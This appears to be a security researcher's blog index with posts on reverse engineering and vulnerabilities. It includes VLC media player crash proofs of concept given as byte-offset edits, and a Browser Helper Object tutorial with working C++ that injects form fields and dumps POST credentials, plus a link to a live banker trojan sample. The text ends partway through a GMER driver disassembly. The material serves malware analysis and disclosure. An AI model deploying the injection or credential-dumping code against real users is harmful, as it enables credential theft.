Fake “Police Trojan” analysis

For some time the “virus of the police” has become an epidemic across Europe. Currently a variant of the first sample, found during summer of 2011, is infecting
Windows operating system users. It blocked the system on startup, with a screen that prevented access to the desktop…

Read entire analysis: police_trojan.pdf

Posted in Analiza, Malware, RE | Leave a comment

Few vulnerabilities in <= VLC media player 2.0.1 demuxers

After two mails to VLC security team and lack of answer I decided to public this research before any patch. Presented here vulns are not too evil (Local DoS) so making them public will not cause any damage for VLC users.

==[ Details ]==
<= VLC media player 2.0.1 contains vulnerabilities in few Demuxers:

1.	voc.c – DoS via Divison by 0
2.	smf.c – DoS via Infinite loop
3.	au.c  – DoS via Division by 0

1. Details voc.c - DoS via Divison by 0:
First scenario:
ReadBlockHeader function to handle block data type 0x9 contains the following code:

Line 304:
        case 9: /* newer data block with channel number and bits resolution */
            if( i_block_size < 12 )
                goto corrupt;
            i_block_size -= 12;

            if( ( stream_Read( p_demux->s, buf, 8 ) < 8 )
             || ( stream_Read( p_demux->s, NULL, 4 ) < 4 ) )
                goto corrupt;

            new_fmt.audio.i_rate = GetDWLE( buf );
            new_fmt.audio.i_bitspersample = buf[4];
            new_fmt.audio.i_channels = buf[5];

If block header at offset 0x5 will be set to 0 then new_fmt.audio.i_channels = 0, what causes:

Line 360:
  new_fmt.audio.i_bytes_per_frame = new_fmt.audio.i_channels
                * (new_fmt.audio.i_bitspersample / 8);

that new_fmt.audio.i_bytes_per_frame will be set to 0 and after exit from ReadBlockHeader the following code:

Line 428:
    while( ( i_offset >= p_sys->i_block_end )
         && ( p_sys->i_silence_countdown == 0 ) )
        if( ReadBlockHeader( p_demux ) != VLC_SUCCESS )
            return 0;

    if( p_sys->i_silence_countdown == 0 )
    {
        i = ( p_sys->i_block_end - i_offset )
            / p_sys->fmt.audio.i_bytes_per_frame; // <- div by 0

in Demux function leads to division by zero and as an end result VLC crash.

Second scenario:
Because at the beginning in ReadBlockHeader function, structure new_fmt (es_format_t) is initialized by zero:

Line 175:
es_format_Init( &new_fmt, AUDIO_ES, 0 );

therefore if type of first block will be set to different one where “normal” new_fmt structure initialization occurs e.g 0x6 then at the end of
ReadBlockHeader ,

Line 399:
        if( p_sys->p_es == NULL )
        {
            memcpy( &p_sys->fmt, &new_fmt, sizeof( p_sys->fmt ) );

new_fmt structure initialized by 0 will be copied to p_sys->fmt which leads to division by zero after return to Demux function like in above scenario.

2. smf.c - DoS via Infinite loop
In Open function we see the following code:


Line 210:
        for (;;)
        {
            stream_Read (stream, head, 8);
            if (memcmp (head, "MTrk", 4) == 0)
                break;

            msg_Dbg (p_this, "skipping unknown SMF chunk");
            stream_Read (stream, NULL, GetDWBE (head + 4));
        }

it aim is to find „MTrk” ID chunk. But like we can also notice there is lack of checks for stream_Read function indicating that end of stream occurred.
File with malformed or without “MTrk” ID chunk will cause infinite loop and as a result VLC DoS.

3 au.c - DoS via Division by 0

Line 144:
	/* init fmt */
    es_format_Init( &p_sys->fmt, AUDIO_ES, 0 );
    p_sys->fmt.audio.i_rate     = GetDWBE( &hdr[12] );
    p_sys->fmt.audio.i_channels = GetDWBE( &hdr[16] );

setting 0(DWORD) at file offset len(“.snd”)+12 => 16 we set 0 value for i_rate field. Lack of any inspection of this field and its value leads to division by zero at

Line 278:
    p_sys->i_frame_length = (mtime_t)1000000 *
                            (mtime_t)i_samples /
                            (mtime_t)p_sys->fmt.audio.i_rate;

and as an end result to VLC crash.

==[ Proof of Concept ]==

1. voc.c - DoS via Divison by 0:
File sample: http://samples.libav.org/voc/pcm_s16_2/nem.voc
First scenario:
Change offset 0x23 value from 0x02 to 0x0

Second scenario:
Change offset  0x1A value from 0x060C842E to 0x06020000

2. smf.c - DoS via Infinite loop

File sample: http://upload.wikimedia.org/wikipedia/commons/6/61/Drum_sample.mid
Malform “MTrk” chunk ID anyhow e.g “ATrk”.

3. au.c - DoS via Division by 0

File sample: http://samples.libav.org/au/garelka.au
Change offset 0x10  value from 0x00001F40  to 0x00000000
Posted in Bugs, Security | Tagged , , , | Leave a comment

BHO Reversing

From a long time for those days (BHO is supported since IE 4.0) malware writers exploit BHO functionality to bully on IE users.
Mostly evil BHO has two functionality ( for sure if we talk about bankers):

- monitoring/logging requests sending by browser
    POST dump - password stealing
- HTML page code dynamic modification
   HTML code injection - used for e.g - adding additional form fields intended to obtain, more amount of TAN codes or generally some extra data.

=] BHO creation [=
Dll implementation is possible in couple manners:
Pure COM/WinApi
Is easy to predict that in this case entire implementation of all COM interfaces will belong to us, but it's a great exercise to get know all details about BHO mechanism hidden under the hood.
Detailed tutorial about how to write an BHO without the use of MFC/ATL and with basic infromation about COM technology you can find here:
http://www.codeproject.com/KB/shell/BHOinCPP.aspx

MFC

ATL
In case when you take advantages of ATL library, to implementation will remain only one method plus an events handlers. Tutorial about creating BHO based on ATL library you can find here:
http://msdn.microsoft.com/en-us/library/bb250489(v=vs.85).aspx

BHO mechanism call stack
In a nutshell:
Ole32.dll in IE
CoGetClassObject->CoLoadLibrary
BHO
@export DllGetClassObject - pass pointer on IClassFactory coclass.
IClassFactory->CreateInstance - pass pointer on IObjectWithSite coclass.
IObjectWithSite->SetSite - obtain pointer to IWebBrowser2 interface.
IWebBrowser2->QueryInterface for IConnectionPointContainer
IConnectionPointContainer-> FindConnectionPoint for DWebBrowserEvents2 dispatcher.
IConnectionPointContainer->Advise – registration of coclass implementing DWebBrowserEvents2 (events handler) dispatcher.

=] Interfaces [=
We (and also malware writers) will be especially interested in two interfaces:
- IWebBrowser2
- DWebBrowserEvents2
=] Events handling [=
As you might guess, major malware code responsible of that action like HTLM code injection or POST dump will be located in class implements DWebBrowserEvents2 interface.
Delving into the details, HTML Code injection we can expect in event handler for event:
DISPID_DOCUMENTCOMPLETE :
„DocumentComplete - Fires when a document is completely loaded and initialized.”

POST Dump ( credentials theft)
DISPID_BEFORENAVIGATE2:
„BeforeNavigate2 - Fires before navigation occurs in the given object (on either a window element or a frameset element).”

Lets we take a glance on residual implementation of that class in CPP:
Pure COM/WinAPI

class CEvents : public DWebBrowserEvents2 {
public:
STDMETHODIMP Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr);
private:
void OnBeforeNavigate2(...);
void OnDocumentComplete(...);
};

STDMETHODIMP CEvents::Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr)
{
switch(dispIdMember)
{
    case DISPID_DOCUMENTCOMPLETE:
OnDocumentComplete(...);
	break;

    case DISPID_BEFORENAVIGATE2:
OnBeforeNavigate2(...);
	break;
}
}

ATL

class ATL_NO_VTABLE CCBHO :
	public CComObjectRootEx<CComSingleThreadModel>,
	public CComCoClass<CCBHO, &CLSID_CBHO>,
	public IObjectWithSiteImpl<CCBHO>,
	public IDispatchImpl<ICBHO, &IID_ICBHO, &LIBID_firstBHOLib, /*wMajor =*/ 1, /*wMinor =*/ 0>,
	public IDispEventImpl<1, CCBHO, &DIID_DWebBrowserEvents2, &LIBID_SHDocVw, 1, 1>
{
public:
	CCBHO()
	{
	}

public:
	BEGIN_SINK_MAP(CCBHO) //initialize _ATL_EVENT_ENTRY structure
		SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_DOCUMENTCOMPLETE, OnDocumentComplete)
		SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_BEFORENAVIGATE2, OnBeforeNavigate)
	END_SINK_MAP()

    // DWebBrowserEvents2
    void STDMETHODCALLTYPE OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL);
	void STDMETHODCALLTYPE OnBeforeNavigate(IDispatch *pDisp,
											VARIANT *url,
											VARIANT *Flags,
											VARIANT *TargetFrameName,
											VARIANT *PostData,
											VARIANT *Headers,
											VARIANT_BOOL *Cancel);

Like I mentioned above, key role in BHO malware functionality plays code located in event handlers related with events BEFORENAVIGATE2 and DOCUMENTCOMPLETE. But before we gonna examine real malware lets we check example implementation of HTML Code injection and POST dump in CPP.

HTML Code injection (ATL)

void STDMETHODCALLTYPE CCBHO::OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL)
{
	HRESULT hr;
    // Retrieve the top-level window from the site.
	CComQIPtr<IWebBrowser2> tmpBrowser = pDisp;
	if(tmpBrowser && m_webBrowser && m_webBrowser.IsEqualObject(tmpBrowser))
	{
		CComPtr<IDispatch> doc;
		hr = m_webBrowser->get_Document(&doc);
		if(SUCCEEDED(hr))
		{
			CComQIPtr<IHTMLDocument2> html = doc;
			if( html != NULL)
			{
				debug_init();
				//check target url
				if(wcsstr((WCHAR*)pvarURL->pbstrVal,L"http://www.icewall.pl/wp-login.php"))
				{
					debug("[+] Target URL detected");
					CComPtr<IHTMLElement> body;
					hr = html->get_body(&body);
					if(!SUCCEEDED(hr) || body == NULL)
						return;
					debug("[+] Make simple html code injection, right after <body> tag");
					body->insertAdjacentHTML(L"afterBegin",L"<h1 style=\"text-align:center;color:red;\">Injected Code</h1>");

					debug("[+] Find login form");
					CComPtr<IHTMLElementCollection> forms;
					hr = html->get_forms(&forms);
					if(!SUCCEEDED(hr) || forms == NULL)
						return;

					long amount = 0;
					CComVariant name;
					CComPtr<IDispatch> pDisp;
					forms->get_length(&amount);
					for(int i =0; i < amount;i++)
					{
						CComVariant index(i);
						forms->item(name,index,&pDisp);
						CComQIPtr<IHTMLElement> form = pDisp;
						debug("[+] Injecting additional form field");
						form->insertAdjacentHTML(L"afterBegin",
							L"<label>Phone number<br /><input type=\"text\" name=\"phone\" class=\"input\" size=\"20\"/></label>");

					}
				}

			}
		}
	}
}

Result:

Like you can notice on the screenshot , to page html code was injected text "Injected code" and additional form field "Phone number".
Ok, now lets we take a look on code doing for us POST DUMP

void STDMETHODCALLTYPE CCBHO::OnBeforeNavigate(IDispatch *pDisp,
										VARIANT *url,
										VARIANT *Flags,
										VARIANT *TargetFrameName,
										VARIANT *PostData,
										VARIANT *Headers,
										VARIANT_BOOL *Cancel)
{
    if (PostData != NULL && PostData->vt == (VT_VARIANT|VT_BYREF) && PostData->pvarVal->vt != VT_EMPTY )
	{
		debug("[+] POST data dump");
		//dump information about URL
		debug(std::string(CW2A(url->bstrVal)));

		char *szTemp = NULL;
		char *szPostData = NULL;
		long plLbound, plUbound;

		SAFEARRAY *parrTemp = PostData->pvarVal->parray;
		SafeArrayAccessData(parrTemp , (void HUGEP **) &szTemp);

		SafeArrayGetLBound(parrTemp , 1, &plLbound);
		SafeArrayGetUBound(parrTemp , 1, &plUbound);

		szPostData = new char[plUbound - plLbound + 2];
	    memcpy(szPostData, szTemp, plUbound - plLbound + 1);
		szPostData[plUbound-plLbound] = '\0';
		SafeArrayUnaccessData(parrTemp);

		//dump post data
		debug(szPostData);

		delete[] szPostData;
	}
}

Fill the form:

Login...

Like you can see, all data filled into form fields ( also with this data filled in additional field injected by our BHO) have been dumped on console.
As we know what kind of code we can expect and we have awareness how it works, lets we check a real example.

=] Just reverse it! [=
Malware: Trojan-Spy.Win32.Banker
MD5: 4bb6988207b7e64c91181ab3a7a82e3e
SHA256: d02323c52b3142ffbfc2a8d92a4202022d2671ba18b4efbe7569863817e550e6
https://www.virustotal.com/ - report
Download: Trojan-Spy.Win32.Banker pass: infected

Represented by above hashes file is actually a dropper, and we will be only interested in its drop done into system32, which is exactly btask.dll (BHO).

Like you probably noticed, this dll is packed by upx, a good thing here will be to unpack it and work on unpacked version.

=] Where are those event handlers ?[=
We agreed already that, evil functions typical for malware in BHO form are located in event handlers. Now, question is how to find those pieces of code, BAH, even how to exactly find Invoke() (for pure COM/winapi) function and _ATL_EVENT_ENTRY structures initialization where will be located most of interesting information parts about malware functionality in this case?

=] Searching for constancies [=
A good results we can achieve by simple search for constancies, which represents particular events:

IDA->Alt+I (Find all occurences) , find all constant values equal to 259(0x103) represent event
DOCUMENTCOMPLETE.

Address        Function     Instruction
-------        --------     -----------
.text:20004904 sub_2000480A cmp     eax, 103h
.text:2000B0E3 sub_2000B093 cmp     [ebp+var_18], 103h

Lets we jump into first address:

Code looks very promising, quiet big dose of conditional instructions and comparisons of one function argument to different constancies, what can be an evidence that we just found a Invoke function. And believe me, we got it ;) . If you still don't see that,I gonna give you little hint that we can observe here typical implementation of Invoke function when author didn't use ATL template. But, how will look this code in ATL case?

atlBHO.dll (for simpleness,analysis is done with loaded pdb file ) - > Download
This time trying to find place where _ATL_EVENT_ENTRY structures array is initialized, using for this search for 0x130 value we will fail, because first entry of this array is (in my code it's structure for DOCUMENTCOMPLETE event) is partially initialized. And because of that, IDA gonna point as this place:

.data:1003D770 ; ATL::_ATL_EVENT_ENTRY<CCBHO> map[3]
.data:1003D770 struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * const `public: static struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * __cdecl CCBHO::_GetSinkMap(void)'::`2'::map dd 1                    ; nControlID
.data:1003D770                                         ; DATA XREF: CCBHO::_GetSinkMap(void):loc_1001C040o
.data:1003D770                 dd offset _DIID_DWebBrowserEvents2; piid
.data:1003D770                 dd 0Ch                  ; nOffset
.data:1003D770                 dd 103h                 ; dispid
.data:1003D770                 dd 0                    ; pfn
.data:1003D770                 db 4 dup(0)
.data:1003D770                 dd 0                    ; pInfo
.data:1003D770                 db 4 dup(0)             ; _padding
.data:1003D770                 dd 0                    ; nControlID
...

which is statically allocated space for _ATL_EVENT_ENTRY array. We want to find location where initialization of this array takes place.
Lets we search for 0xFA value which represents event BEFORENAVIGATE2 .

.text:1001BF29                 mov     [ebp+var_EC], offset CCBHO::OnDocumentComplete(IDispatch *,tagVARIANT *)
(...)
.text:1001BF9E                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+20h, edx
.text:1001BFA4                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+20h, 0FAh
.text:1001BFAE                 mov     [ebp+var_DC], offset CCBHO::OnBeforeNavigate(IDispatch *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,short *)
.text:1001BFB8                 mov     [ebp+var_D8], 0
.text:1001BFC2                 mov     eax, [ebp+var_DC]
.text:1001BFC8                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pfn+20h, eax
.text:1001BFCD                 mov     ecx, [ebp+var_D8]
.text:1001BFD3                 mov     dword ptr ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map+34h, ecx
.text:1001BFD9                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pInfo+20h, 0
.text:1001BFE3                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nControlID+40h, 0
.text:1001BFED                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.piid+40h, 0
.text:1001BFF7                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+40h, 0
.text:1001C001                 mov     ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+40h, 0

Bingo! At 1001BF29 address and 1001BFAE we can notice initialization of structures with offsets to event handlers.
So we have a trivial method to find interesting for us pieces of code in both cases. Let automate this process.

IDA Python - > Download BHO.py
I developed simple script, which based on couple most popular constancies representing event is able to locate address of Invoke
fuction and _ATL_EVENT_ENTRY array initialization.

Lets go back to our malware and execute script.

Searching for DISPID_BEFORENAVIGATE2
Searching for DISPID_DOCUMENTCOMPLETE
Searching for DISPID_NAVIGATECOMPLETE2
Searching for DISPID_ONQUIT
Potential Invoke function 0x20003b22 : appearance 1
Potential Invoke function 0x20013043 : appearance 1
Potential Invoke function 0x200044cc : appearance 1
Potential Invoke function 0x2000480a : appearance 4
Potential Invoke function 0x20004eec : appearance 1
Potential Invoke function 0x200074f1 : appearance 1
Potential Invoke function 0x2000b093 : appearance 1
Potential Invoke function 0x200022fa : appearance 1
Suggested address of Invoke function : 0x2000480a

Script made a good job because 0x2000480a is indeed address of Invoke function which we determined before manually.
Bho.py has one more useful functionality, namely bho_invoke(ea)

Python>bho_invoke(0x2000480a)
Found DISPID_NAVIGATECOMPLETE2 at: 200048bb
Found DISPID_NAVIGATEANDFIND at: 200048d0
Found DISPID_PROGRESSCHANGE at: 20004825
Found DISPID_DOCUMENTCOMPLETE at: 20004904
Found DISPID_BEFORENAVIGATE2 at: 200048c6
Found DISPID_ONQUIT at: 200049d7
Found DISPID_DOWNLOADCOMPLETE at: 2000481c
Found DISPID_ISSUBSCRIBED at: 200048d0

Result:

Now we can start reversing particular event handler.

=] Reversing code which contains calls to COM interfaces [=
Without proper approach and couple more interventions, RE of that code can be really annoying. That's way I want to recommend you here couple scripts created by
Frank Boldewin:
ClassAndInterfaceToNames.zip
VtablesStructuresFromPSDK2003R2.zip - script adds to IDA big amount of vtable structures related with COM interfaces.
Practical%20COM%20code%20reconstruction.swf – video presents: reversing code pull of COM calls + advantages of use these two above scripts.

To see the differences and benefits of the above scripts lets we try to reverse the following piece of code belongs to OnDocumentComplete event handler:

.text:200028F9                 mov     eax, [ebp+arg_8]
.text:200028FC                 xor     ebx, ebx
.text:200028FE                 cmp     eax, ebx
.text:20002900                 jz      loc_20002AC5
.text:20002906                 mov     ecx, [eax]
.text:20002908                 lea     edx, [ebp+var_18]
.text:2000290B                 push    edx
.text:2000290C                 push    offset unk_200180E8
.text:20002911                 push    eax
.text:20002912                 mov     [ebp+var_18], ebx
.text:20002915                 call    dword ptr [ecx]

We can see here call to some virtual method and question is of what interface and what exactly hides under this offset unk_200180E8 ?
Execute ClassAndInterfaceToNames script:

.text:200028F9                 mov     eax, [ebp+arg_8]
.text:200028FC                 xor     ebx, ebx
.text:200028FE                 cmp     eax, ebx
.text:20002900                 jz      loc_20002AC5
.text:20002906                 mov     ecx, [eax]
.text:20002908                 lea     edx, [ebp+var_18]
.text:2000290B                 push    edx
.text:2000290C                 push    offset IID_IWebBrowser2__2
.text:20002911                 push    eax
.text:20002912                 mov     [ebp+var_18], ebx
.text:20002915                 call    dword ptr [ecx]

Ouu yeah much better, now looking at our CPP code we can notice analogy, that at the beginning IDispatch interface call QueryInterface with arguments:

IID_IWebBrowser2, (void **)&pWebBrowser)
( this line hides here CComQIPtr<IWebBrowser2> tmpBrowser = pDisp; )

to achieve pointer on IWebBrowser coclass.
Concluding of this we have:

[ebp+var_18] is [ebp+IWebBrowser]
and
call    dword ptr [ecx] is (press T on ecx and search IDispatch)
call    dword ptr [ecx+ IDispatchVtbl.QueryInterface]

end result:

.text:200028F9                 mov     eax, [ebp+arg_8]
.text:200028FC                 xor     ebx, ebx
.text:200028FE                 cmp     eax, ebx
.text:20002900                 jz      loc_20002AC5
.text:20002906                 mov     ecx, [eax]
.text:20002908                 lea     edx, [ebp+IWebBrowser]
.text:2000290B                 push    edx
.text:2000290C                 push    offset IID_IWebBrowser2__2
.text:20002911                 push    eax
.text:20002912                 mov     [ebp+IWebBrowser], ebx
.text:20002915                 call    [ecx+IDispatchVtbl.QueryInterface]

And so on... Ok, but what if we want to perform dynamic analysis? Ofc we can perform static analysis in presented above manner, but that approach sometimes require additions from different reasons. But there is a small problem, SHDOCVW.dll to which most of COM interfaces will refer to

źródło http://msdn.microsoft.com/en-us/library/ie/aa741313(v=vs.85).aspx

doesn't have export names in readable form. And in place like this:

010328F9  |.  8B45 10       MOV EAX,[ARG.3]
010328FC  |.  33DB          XOR EBX,EBX
010328FE  |.  3BC3          CMP EAX,EBX
01032900  |.  0F84 BF010000 JE btask.01032AC5
01032906  |.  8B08          MOV ECX,DWORD PTR DS:[EAX]
01032908  |.  8D55 E8       LEA EDX,[LOCAL.6]
0103290B  |.  52            PUSH EDX
0103290C  |.  68 E8800401   PUSH btask.010480E8
01032911  |.  50            PUSH EAX
01032912  |.  895D E8       MOV [LOCAL.6],EBX
01032915  |.  FF11          CALL DWORD PTR DS:[ECX]

will appear simple Olly's hint:

01032915  |.  FF11          CALL DWORD PTR DS:[ECX]     ;  SHDOCVW.777D78E9

But don't worry , we can handle this also ;) . We gonna take benefits which provide symbols. Because of "old age" of Olly 1.1 and not completely functional version 2.0
is good to separate only interested for us dll's (SHDOCVW.dll and eventually MSHTML.dll) symbols to separated directory. In other way we can expect long time analysis perform by Olly for each loaded dll by IE and sometimes even crash. Symbols for single file you can download using symchk.exe.
Create environment variable:
_NT_SYMBOL_PATH=symsrv*symsrv.dll*C:\windows\Sym
and in C:\windows\Sym directory put interested us symbols:

c:\WINDOWS\sym>dir
 Volume in drive C has no label.
 Volume Serial Number is 44BE-4B9D

 Directory of c:\WINDOWS\sym

01/27/2012  11:21 AM    <DIR>          .
01/27/2012  11:21 AM    <DIR>          ..
01/27/2012  11:21 AM    <DIR>          mshtml.pdb
01/27/2012  11:21 AM    <DIR>          mshtmled.pdb
01/27/2012  11:21 AM    <DIR>          shdocvw.pdb

Result:

With that prepared set of tools and approach we can continue our fun with BHO reversing ;) .

Posted in Aplikacja, Malware, RE | Tagged , , , , , , | 6 Comments

NameChanger ver 1.0 – OllyDbg plugin

I recently returned to an idea of an OllyDbg plug-in which would provide functionality similar like in an IDA related with inter alia :changing name of functions or setting more readable form for global variables.
I think that the best way to present its adoption and functionality is to see it in an action:

[+]How to use it?
Let’s we say that we want to change a name of CALL from a default one represented by address to more readable for us. We choose a line in a disassembly window where interesting for us CALL is located:

next RMB and we choose Change value:

In visible below window we put proposed by us new name and then confirm it via an ENTER or a Set button:

Obtained effect looks as follows:

[+]Proposed uses
Below you can find probably all possible places in a disassembler where plug-in can be use:

==CALL==
004012D7   .  E8 EC110000      CALL Project2.004024C8
004012D7   .  E8 EC110000      CALL &lt;Project2.some_call&gt;

==JMP==
004012F5      E9 1E120000      JMP Project2.00402518
004012F5      E9 1E120000      JMP &lt;Project2.some_jump&gt;

==Global variable==
004012FC   .  A0 71304000      MOV AL,BYTE PTR DS:[403071]
004012FC   .  A0 71304000      MOV AL,BYTE PTR DS:[&lt;g_variable&gt;]

0040135F   .  FF35 7F304000    PUSH DWORD PTR DS:[40307F]
0040135F   .  FF35 7F304000    PUSH DWORD PTR DS:[&lt;g_variable&gt;]

(...)

Plug-in can be downloaded from here : NameChanger.zip
Of course all kind of constructive feedback is welcome ;)

Posted in Aplikacja, RE | Tagged , , | 9 Comments

Windows LongPaths – extended-length paths


Maybe you are one of persons who belived for this moment that maximal length of path in Windows is equal to MAX_PATH ( 260 signs). Nothing further from the truth !!!.

In document which you can download below I have described inter alia:

- what is the maximum path length and from which it follows
- in how achieve possibility to create paths longer than MAX_PATH
- details related with WinApi, where path length and it’s type is tested.

this and more issues.

Of course, if some programmer assumed that maximal path length is 260 signs, his application in the best scenario won’t be fully functional in but in the worst scenario we can expect bugs that kind like buffer overflow.
To convince myself to validity of this theory, I decided to test anti-virus applications “tolerance” on such paths. Results of those tests you can review in a mentioned document, here I can only say that quite a lot of anti-virus showed described above signs.

And now, it’s time for a little gallery which IMO encourage you to treatment existence of long paths like a real problem:

AVAST 5.0.594.0


AVIRA 10.0.0.567


Norton 17.6.0.32


Sophos 9.5.1

At the end the newest version of gmer on day 15.10.2010 GMER 1.0.15.15315 ( the last bug reported by me has been patched, but like we can see there is still more problems in this area ;) ).

The document can be downloaded from here: Windows LongPaths – extended-length paths

Greetz to Emiliano Martinez Contreras for a translation from IceEng to more readable form ;) .

Posted in Analiza, Bez kategorii, RE, Security | Tagged , , , , , , , | 14 Comments

Old PHP Advisory

During vacations 2009 together with Gynvael Coldwind and j00ru we have been searching for a potential bugs in PHP, but it wasn’t a typical bughunt;). You can read about all details from this even on Gynvael’s blog.

Package contains the following advisory:
PHP 5.2.10 / 5.3.0 EXIF Denial of Service 1
PHP 5.2.10 / 5.3.0 EXIF Denial of Service 2
PHP 5.2.10 / 5.3.0 EXIF Denial of Service 3
PHP 5.2.10 / 5.3.0 Multiple Memory Disclosure

download -> PHP Advisory

Posted in Bez kategorii, Security | Tagged , , , , , , | Leave a comment

GMER 1.0.15.15281 Buffer overflow 0day

During some research which results I’m going to publish in near future, I discovered a bug in a gmer win32 application causes a buffer overflow.
(un)Fortunatelly because of existing security cookies in code and it’s character near function where BO appears, it’s not possible to
achieve code exec.
Although couples of my tries to contact with gmer’s author I didn’t get any response for this day and unfortunatelly bug has not been fixed yet also. So ;) , only thing I can do now is to share with you an advisories, which you can download from here:
<= GMER 1.0.15.15281 Buffer overflow 0day

Posted in Security | Tagged , , , , , , , | Leave a comment

LapSec – Hispasec


More info you can find here:
http://www.hispasec.com/lapsec/index_en_html

Posted in Aplikacja | Tagged , , , , , , , , , | Leave a comment

Logical bug in GMER

Messing a little bit recently with a gmer’s code I discovered logical bug which can cause abnormal behavior of an random applications.
Our object of interest will be the newest gmer’s driver on day 22.07.2010.
FileVersion : 1, 0, 15, 4809 built by: WinDDK

[+]Localization of a problem
If some file can’t be deleted in the usual way, gmer will try to close all opened handlers related with this file and after it delete file.
In my opinion implementation of this procedure has not been thought out correctly.
Let’s take a look at this routine:

.text:0001B488 ; int __stdcall sub_1B488(wchar_t *filePath, int a2)
.text:0001B488 sub_1B488       proc near               ; CODE XREF: sub_1CB32+299 p
.text:0001B488
.text:0001B488 PFILE_OBJECT    = dword ptr -30h
.text:0001B488 var_2C          = dword ptr -2Ch
.text:0001B488 var_28          = dword ptr -28h
.text:0001B488 PSYSTEM_HANDLE_INFORMATION= dword ptr -24h
.text:0001B488 pEPROCESS       = dword ptr -20h
.text:0001B488 index           = dword ptr -1Ch
.text:0001B488 ms_exc          = CPPEH_RECORD ptr -18h
.text:0001B488 filePath        = dword ptr  8
.text:0001B488 a2              = dword ptr  0Ch
.text:0001B488
.text:0001B488                 push    20h
.text:0001B48A                 push    offset stru_1EED0
.text:0001B48F                 call    __SEH_prolog
.text:0001B494                 xor     esi, esi
.text:0001B496                 mov     [ebp+pEPROCESS], esi
.text:0001B499                 lea     eax, [ebp+var_28]
.text:0001B49C                 push    eax             ; int
.text:0001B49D                 push    10h             ; SystemHandleInformation
.text:0001B49F                 call    wrap_NtQuerySystemInformation
.text:0001B4A4                 mov     [ebp+PSYSTEM_HANDLE_INFORMATION], eax
.text:0001B4A7                 cmp     eax, esi
.text:0001B4A9                 jz      error
.text:0001B4AF                 mov     [ebp+ms_exc.disabled], esi
.text:0001B4B2                 mov     [ebp+index], esi
.text:0001B4B5                 mov     ebx, ds:NtClose
.text:0001B4BB
.text:0001B4BB loc_1B4BB:                              ; CODE XREF: sub_1B488+119 j
.text:0001B4BB                 mov     ecx, [ebp+index]
.text:0001B4BE                 cmp     ecx, [eax]      ; eax = NumberOfHandles
.text:0001B4C0                 jnb     end_of_SYSTEM_HANDLE_INFORMATION
.text:0001B4C6                 shl     ecx, 4
.text:0001B4C9                 lea     edi, [ecx+eax+4]
.text:0001B4CD                 mov     [ebp+var_2C], edi
.text:0001B4D0                 mov     esi, [edi+8]
.text:0001B4D3                 mov     [ebp+PFILE_OBJECT], esi
.text:0001B4D6                 test    esi, esi
.text:0001B4D8                 jz      next_struct
.text:0001B4DE                 push    esi             ; VirtualAddress
.text:0001B4DF                 call    ds:MmIsAddressValid
.text:0001B4E5                 test    al, al
.text:0001B4E7                 jz      next_struct
.text:0001B4ED                 cmp     word ptr [esi], 5
.text:0001B4F1                 jnz     next_struct
.text:0001B4F7                 mov     eax, [esi+34h]
.text:0001B4FA                 test    eax, eax
.text:0001B4FC                 jz      next_struct
.text:0001B502                 push    eax             ; VirtualAddress
.text:0001B503                 call    ds:MmIsAddressValid
.text:0001B509                 test    al, al
.text:0001B50B                 jz      next_struct
.text:0001B511                 push    [ebp+filePath]  ; VirtualAddress
.text:0001B514                 call    ds:MmIsAddressValid
.text:0001B51A                 test    al, al
.text:0001B51C                 jz      short next_struct
.text:0001B51E                 push    [ebp+filePath]  ; wchar_t *
.text:0001B521                 call    ds:wcslen
.text:0001B527                 pop     ecx
.text:0001B528                 sub     eax, 6
.text:0001B52B                 mov     [ebp+a2], eax
.text:0001B52E                 movzx   ecx, word ptr [esi+30h] ; fileObject-&amp;amp;amp;amp;amp;amp;gt;FileName.Length
.text:0001B532                 shr     ecx, 1
.text:0001B534                 cmp     ecx, eax
.text:0001B536                 jnz     short next_struct
.text:0001B538                 push    eax             ; size_t
.text:0001B539                 mov     eax, [ebp+filePath]
.text:0001B53C                 add     eax, 0Ch
.text:0001B53F                 push    eax             ; wchar_t *
.text:0001B540                 push    dword ptr [esi+34h] ; fileObject-&amp;amp;amp;amp;amp;amp;amp;amp;gt;FileName.Buffer
.text:0001B543                 call    ds:_wcsnicmp
.text:0001B549                 add     esp, 0Ch
.text:0001B54C                 test    eax, eax
.text:0001B54E                 jnz     short next_struct
.text:0001B550                 lea     eax, [ebp+pEPROCESS]
.text:0001B553                 push    eax
.text:0001B554                 push    dword ptr [edi]
.text:0001B556                 call    ds:PsLookupProcessByProcessId
.text:0001B55C                 mov     status, eax
.text:0001B561                 test    eax, eax
.text:0001B563                 jnz     short next_struct
.text:0001B565                 mov     eax, [ebp+pEPROCESS]
.text:0001B568                 cmp     eax, current_process_EPROCESS
.text:0001B56E                 jz      short handleBelongsToCurrentProcess
.text:0001B570                 push    eax
.text:0001B571                 call    ds:KeAttachProcess
.text:0001B577                 movzx   eax, word ptr [edi+6]
